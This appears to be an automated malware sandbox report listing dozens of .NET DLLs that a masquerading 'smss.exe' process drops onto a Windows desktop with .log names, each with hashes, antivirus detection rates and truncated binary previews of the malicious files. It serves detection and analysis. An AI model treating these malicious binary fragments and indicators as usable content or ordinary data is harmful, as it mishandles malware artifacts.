                                                    C:\Users\user\Desktop\DSzWZtVQ.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):41472
                                                    Entropy (8bit):5.6808219961645605
                                                    Encrypted:false
                                                    SSDEEP:768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
                                                    MD5:6CD78D07F9BD4FECC55CDB392BC5EC89
                                                    SHA1:094DE32070BED60A811D983740509054AD017CE4
                                                    SHA-256:16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
                                                    SHA-512:5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 17%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\DWUeKrTC.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34304
                                                    Entropy (8bit):5.618776214605176
                                                    Encrypted:false
                                                    SSDEEP:768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
                                                    MD5:9B25959D6CD6097C0EF36D2496876249
                                                    SHA1:535B4D0576746D88537D4E9B01353210D893F4D2
                                                    SHA-256:4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
                                                    SHA-512:C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 9%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\DcFucYbv.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):69632
                                                    Entropy (8bit):5.932541123129161
                                                    Encrypted:false
                                                    SSDEEP:1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
                                                    MD5:F4B38D0F95B7E844DD288B441EBC9AAF
                                                    SHA1:9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
                                                    SHA-256:AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
                                                    SHA-512:2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 50%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

                                                    C:\Users\user\Desktop\DmZKTIGZ.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):41472
                                                    Entropy (8bit):5.6808219961645605
                                                    Encrypted:false
                                                    SSDEEP:768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
                                                    MD5:6CD78D07F9BD4FECC55CDB392BC5EC89
                                                    SHA1:094DE32070BED60A811D983740509054AD017CE4
                                                    SHA-256:16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
                                                    SHA-512:5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 17%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\DsyTISqq.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33792
                                                    Entropy (8bit):5.541771649974822
                                                    Encrypted:false
                                                    SSDEEP:768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
                                                    MD5:2D6975FD1CC3774916D8FF75C449EE7B
                                                    SHA1:0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
                                                    SHA-256:75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
                                                    SHA-512:6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 38%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\EEctoaMI.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):40448
                                                    Entropy (8bit):5.7028690200758465
                                                    Encrypted:false
                                                    SSDEEP:768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
                                                    MD5:51B1964F31C557AE8C2B01EA164ABD9F
                                                    SHA1:97C6E8FD1F21D644281FAF82D017969FE22423E4
                                                    SHA-256:AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
                                                    SHA-512:5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 12%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\EKCBdlwZ.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.660491370279985
                                                    Encrypted:false
                                                    SSDEEP:768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
                                                    MD5:240E98D38E0B679F055470167D247022
                                                    SHA1:49888CCED719AE78EE3BAE2959402749668AA1C6
                                                    SHA-256:C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
                                                    SHA-512:93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 8%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\ETvmfrix.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):41472
                                                    Entropy (8bit):5.6808219961645605
                                                    Encrypted:false
                                                    SSDEEP:768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
                                                    MD5:6CD78D07F9BD4FECC55CDB392BC5EC89
                                                    SHA1:094DE32070BED60A811D983740509054AD017CE4
                                                    SHA-256:16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
                                                    SHA-512:5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 17%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\EbrBtxwn.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):69632
                                                    Entropy (8bit):5.932541123129161
                                                    Encrypted:false
                                                    SSDEEP:1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
                                                    MD5:F4B38D0F95B7E844DD288B441EBC9AAF
                                                    SHA1:9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
                                                    SHA-256:AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
                                                    SHA-512:2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 50%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

                                                    C:\Users\user\Desktop\EjbTYgWt.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):126976
                                                    Entropy (8bit):6.057993947082715
                                                    Encrypted:false
                                                    SSDEEP:3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
                                                    MD5:16B480082780CC1D8C23FB05468F64E7
                                                    SHA1:6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
                                                    SHA-256:7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
                                                    SHA-512:A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 21%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

                                                    C:\Users\user\Desktop\EvAkSdoC.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34816
                                                    Entropy (8bit):5.636032516496583
                                                    Encrypted:false
                                                    SSDEEP:384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
                                                    MD5:996BD447A16F0A20F238A611484AFE86
                                                    SHA1:CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
                                                    SHA-256:0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
                                                    SHA-512:80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 21%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\FCiWZKUc.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):40448
                                                    Entropy (8bit):5.7028690200758465
                                                    Encrypted:false
                                                    SSDEEP:768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
                                                    MD5:51B1964F31C557AE8C2B01EA164ABD9F
                                                    SHA1:97C6E8FD1F21D644281FAF82D017969FE22423E4
                                                    SHA-256:AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
                                                    SHA-512:5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 12%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\FHzuREdv.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):85504
                                                    Entropy (8bit):5.8769270258874755
                                                    Encrypted:false
                                                    SSDEEP:1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
                                                    MD5:E9CE850DB4350471A62CC24ACB83E859
                                                    SHA1:55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
                                                    SHA-256:7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
                                                    SHA-512:9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 71%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

                                                    C:\Users\user\Desktop\FTPcKHbO.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):294912
                                                    Entropy (8bit):6.010605469502259
                                                    Encrypted:false
                                                    SSDEEP:6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
                                                    MD5:00574FB20124EAFD40DC945EC86CA59C
                                                    SHA1:8B96C4B6F450E711085AE7B22517C195222ACFDF
                                                    SHA-256:3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
                                                    SHA-512:B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 17%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

                                                    C:\Users\user\Desktop\FbzvpqBU.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34816
                                                    Entropy (8bit):5.636032516496583
                                                    Encrypted:false
                                                    SSDEEP:384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
                                                    MD5:996BD447A16F0A20F238A611484AFE86
                                                    SHA1:CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
                                                    SHA-256:0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
                                                    SHA-512:80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 21%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\FerdyHgq.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.660491370279985
                                                    Encrypted:false
                                                    SSDEEP:768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
                                                    MD5:240E98D38E0B679F055470167D247022
                                                    SHA1:49888CCED719AE78EE3BAE2959402749668AA1C6
                                                    SHA-256:C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
                                                    SHA-512:93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 8%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\GHObKKRD.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34816
                                                    Entropy (8bit):5.636032516496583
                                                    Encrypted:false
                                                    SSDEEP:384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
                                                    MD5:996BD447A16F0A20F238A611484AFE86
                                                    SHA1:CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
                                                    SHA-256:0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
                                                    SHA-512:80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 21%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\GdejPgAj.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):39936
                                                    Entropy (8bit):5.660491370279985
                                                    Encrypted:false
                                                    SSDEEP:768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
                                                    MD5:240E98D38E0B679F055470167D247022
                                                    SHA1:49888CCED719AE78EE3BAE2959402749668AA1C6
                                                    SHA-256:C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
                                                    SHA-512:93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 8%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\GoLtprLU.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):23552
                                                    Entropy (8bit):5.519109060441589
                                                    Encrypted:false
                                                    SSDEEP:384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
                                                    MD5:0B2AFABFAF0DD55AD21AC76FBF03B8A0
                                                    SHA1:6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
                                                    SHA-256:DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
                                                    SHA-512:D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 8%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\GqWrkPRR.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):64000
                                                    Entropy (8bit):5.857602289000348
                                                    Encrypted:false
                                                    SSDEEP:768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
                                                    MD5:5EE7E079F998F80293B3467CE6A5B4AE
                                                    SHA1:3C0932D48F3542E9DFB09AD9E1FF70891A038532
                                                    SHA-256:A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
                                                    SHA-512:056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 25%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\GzJevKjX.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):34816
                                                    Entropy (8bit):5.636032516496583
                                                    Encrypted:false
                                                    SSDEEP:384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
